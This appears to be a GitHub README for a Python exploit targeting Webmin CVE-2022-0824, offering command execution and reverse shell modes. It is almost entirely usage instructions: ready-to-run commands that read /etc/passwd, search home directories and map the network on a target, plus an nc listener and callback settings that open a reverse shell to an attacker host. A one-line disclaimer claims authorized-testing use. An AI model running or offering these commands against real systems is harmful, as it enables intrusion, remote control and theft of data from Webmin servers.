
Python exploit for Webmin CVE-2022-0824 with dual-mode support: direct command execution and reverse shell. Features multiple payload types, intelligent file management, and detailed debug logging for authorized security testing.
[!IMPORTANT]
Webmin CVE-2022-0824 Enhanced Exploit Tool - Supports dual modes: command execution and reverse shell
[!IMPORTANT]
An enhanced exploit tool targeting Webmin CVE-2022-0824, supporting both direct command execution and reverse shell modes.
# Python 3.6+
pip3 install requests urllib3
# Basic command execution
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# View system information
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# List files
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# View sensitive files
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# Network information
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
# 1. Start listener
nc -nlvp 9999
# 2. Execute exploit
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
*Note: Required in reverse shell mode
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
This tool is intended only for authorized security testing and educational purposes.
Welcome to submit Issues and Pull Requests!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)This project is licensed under the MIT License - see the LICENSE file for details.
For questions or suggestions, please contact via:
⭐ If this project helps you, please give it a Star!
requests>=2.25.1
urllib3>=1.26.0
| Parameter | Description | Required | Example |
|---|
-t, --target | Target Webmin URL | ✅ | http://192.168.1.100:10000/ |
-c, --credential | Login credentials | ✅ | admin:password |
-LS, --py3http_server | HTTP server address | ✅ | 192.168.1.50:8080 |
--shell | Command to execute | ❌ | "ls -la" |
-L, --callback_ip | Reverse Shell callback IP | ❌* | 192.168.1.50 |
-P, --callback_port | Reverse Shell callback port | ❌* | 9999 |